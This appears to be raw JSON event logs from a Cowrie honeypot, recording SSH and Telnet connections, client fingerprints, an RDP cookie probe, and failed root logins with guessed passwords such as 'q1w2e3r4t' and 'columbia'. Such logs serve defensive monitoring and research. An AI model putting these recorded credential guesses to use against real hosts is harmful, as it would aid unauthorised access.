{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:39:56.778535Z","src_ip":"103.183.114.55","session":"00dc051847c7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"q1w2e3r4t","message":"login attempt [root/q1w2e3r4t] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:39:57.439560Z","src_ip":"103.183.114.55","session":"00dc051847c7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:39:58.684019Z","src_ip":"103.183.114.55","session":"00dc051847c7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":54784,"dst_ip":"10.17.0.5","dst_port":23,"session":"bc83470d5668","protocol":"telnet","message":"New connection: 152.42.224.71:54784 (10.17.0.5:23) [session: bc83470d5668]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:40:00.363982Z"}
{"eventid":"cowrie.session.closed","duration":40.14313817024231,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:40:00.954612Z","src_ip":"152.42.224.71","session":"b471917bd603","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.212.128","src_port":57795,"dst_ip":"10.17.0.5","dst_port":22,"session":"1a7d48c56d33","protocol":"ssh","message":"New connection: 152.42.212.128:57795 (10.17.0.5:22) [session: 1a7d48c56d33]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:40:01.740129Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:40:01.750105Z","src_ip":"152.42.212.128","session":"1a7d48c56d33","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:40:01.756639Z","src_ip":"152.42.212.128","session":"1a7d48c56d33","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":55738,"dst_ip":"10.17.0.5","dst_port":23,"session":"9ea513c83427","protocol":"telnet","message":"New connection: 152.42.224.71:55738 (10.17.0.5:23) [session: 9ea513c83427]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:40:09.789713Z"}
{"eventid":"cowrie.session.closed","duration":41.478386640548706,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:40:15.950551Z","src_ip":"152.42.224.71","session":"b8568584c376","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.36817407608032,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:40:24.638193Z","src_ip":"152.42.224.71","session":"b0d218d6955c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":48070,"dst_ip":"10.17.0.5","dst_port":23,"session":"40b8383963c8","protocol":"telnet","message":"New connection: 152.42.224.71:48070 (10.17.0.5:23) [session: 40b8383963c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:40:32.537944Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":48078,"dst_ip":"10.17.0.5","dst_port":23,"session":"c186d90d4db3","protocol":"telnet","message":"New connection: 152.42.224.71:48078 (10.17.0.5:23) [session: c186d90d4db3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:40:34.798321Z"}
{"eventid":"cowrie.session.closed","duration":47.2966423034668,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:40:36.912093Z","src_ip":"152.42.224.71","session":"d41b9db9527e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.289000034332275,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:40:40.652829Z","src_ip":"152.42.224.71","session":"bc83470d5668","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":54.90590858459473,"message":"Connection lost after 54 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:40:41.172361Z","src_ip":"152.42.224.71","session":"f340a2399314","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":63.56366753578186,"message":"Connection lost after 63 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:40:42.777669Z","src_ip":"152.42.224.71","session":"75496f44eee4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":32776,"dst_ip":"10.17.0.5","dst_port":23,"session":"c69ecf5dea83","protocol":"telnet","message":"New connection: 152.42.224.71:32776 (10.17.0.5:23) [session: c69ecf5dea83]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:40:42.806813Z"}
{"eventid":"cowrie.session.closed","duration":120.002108335495,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:40:47.091626Z","src_ip":"152.42.224.71","session":"c67f024df662","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":49692,"dst_ip":"10.17.0.5","dst_port":23,"session":"7a27fa764bf6","protocol":"telnet","message":"New connection: 152.42.224.71:49692 (10.17.0.5:23) [session: 7a27fa764bf6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:40:51.182889Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.108.3.46","src_port":54984,"dst_ip":"159.203.135.109","dst_port":23,"session":"3e6286360092","protocol":"telnet","message":"New connection: 213.108.3.46:54984 (159.203.135.109:23) [session: 3e6286360092]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:40:53.248194Z"}
{"eventid":"cowrie.session.closed","duration":0.01671433448791504,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:40:53.264770Z","src_ip":"213.108.3.46","session":"3e6286360092","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":59.84845209121704,"message":"Connection lost after 59 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:40:54.533718Z","src_ip":"152.42.224.71","session":"657c5ce4c32c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:40:55.926792Z","src_ip":"176.32.39.21","session":"c11f17a93516","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"37.143.61.241","src_port":57930,"dst_ip":"159.203.135.109","dst_port":22,"session":"67c4c8a36e4d","protocol":"ssh","message":"New connection: 37.143.61.241:57930 (159.203.135.109:22) [session: 67c4c8a36e4d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:40:56.113998Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:40:56.118608Z","src_ip":"37.143.61.241","session":"67c4c8a36e4d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:40:56.204337Z","src_ip":"37.143.61.241","session":"67c4c8a36e4d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"raza","message":"login attempt [root/raza] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:40:56.567053Z","src_ip":"37.143.61.241","session":"67c4c8a36e4d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:40:57.653214Z","src_ip":"37.143.61.241","session":"67c4c8a36e4d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.130.35.229","src_port":52426,"dst_ip":"159.203.135.109","dst_port":22,"session":"61eacc92114f","protocol":"ssh","message":"New connection: 43.130.35.229:52426 (159.203.135.109:22) [session: 61eacc92114f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:40:59.148978Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:40:59.153082Z","src_ip":"43.130.35.229","session":"61eacc92114f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:40:59.222309Z","src_ip":"43.130.35.229","session":"61eacc92114f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"columbia","message":"login attempt [root/columbia] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:40:59.530421Z","src_ip":"43.130.35.229","session":"61eacc92114f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:41:00.607130Z","src_ip":"43.130.35.229","session":"61eacc92114f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.236.1","src_port":43832,"dst_ip":"159.203.135.109","dst_port":22,"session":"63ba5290d0b0","protocol":"ssh","message":"New connection: 68.183.236.1:43832 (159.203.135.109:22) [session: 63ba5290d0b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:41:01.923842Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:41:01.931686Z","src_ip":"68.183.236.1","session":"63ba5290d0b0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:41:02.179017Z","src_ip":"68.183.236.1","session":"63ba5290d0b0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"columbia","message":"login attempt [root/columbia] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:41:03.164654Z","src_ip":"68.183.236.1","session":"63ba5290d0b0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:41:04.407426Z","src_ip":"68.183.236.1","session":"63ba5290d0b0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":35812,"dst_ip":"10.17.0.5","dst_port":23,"session":"073ab2678fd8","protocol":"telnet","message":"New connection: 152.42.224.71:35812 (10.17.0.5:23) [session: 073ab2678fd8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:41:05.733877Z"}
{"eventid":"cowrie.session.connect","src_ip":"72.52.132.30","src_port":39932,"dst_ip":"159.203.135.109","dst_port":22,"session":"d16397ce2df3","protocol":"ssh","message":"New connection: 72.52.132.30:39932 (159.203.135.109:22) [session: d16397ce2df3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:41:06.479640Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:41:06.483642Z","src_ip":"72.52.132.30","session":"d16397ce2df3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:41:06.517836Z","src_ip":"72.52.132.30","session":"d16397ce2df3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"vilma","message":"login attempt [root/vilma] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:41:06.677322Z","src_ip":"72.52.132.30","session":"d16397ce2df3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":24.11904001235962,"message":"Connection lost after 24 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:41:06.925739Z","src_ip":"152.42.224.71","session":"c69ecf5dea83","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:41:07.715595Z","src_ip":"72.52.132.30","session":"d16397ce2df3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":59066,"dst_ip":"10.17.0.5","dst_port":23,"session":"140a2052aa30","protocol":"telnet","message":"New connection: 152.42.224.71:59066 (10.17.0.5:23) [session: 140a2052aa30]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:41:15.214683Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.133.34.13","src_port":42230,"dst_ip":"159.203.135.109","dst_port":22,"session":"9c598f763c21","protocol":"ssh","message":"New connection: 43.133.34.13:42230 (159.203.135.109:22) [session: 9c598f763c21]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:41:18.503363Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:41:18.508603Z","src_ip":"43.133.34.13","session":"9c598f763c21","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:41:18.746658Z","src_ip":"43.133.34.13","session":"9c598f763c21","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"!123456","message":"login attempt [root/!123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:41:19.728783Z","src_ip":"43.133.34.13","session":"9c598f763c21","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:41:20.970289Z","src_ip":"43.133.34.13","session":"9c598f763c21","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.69206714630127,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:41:21.874829Z","src_ip":"152.42.224.71","session":"7a27fa764bf6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":56.94242835044861,"message":"Connection lost after 56 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:41:29.480226Z","src_ip":"152.42.224.71","session":"40b8383963c8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":49052,"dst_ip":"10.17.0.5","dst_port":23,"session":"8ba70220fba0","protocol":"telnet","message":"New connection: 152.42.224.71:49052 (10.17.0.5:23) [session: 8ba70220fba0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:41:31.260075Z"}
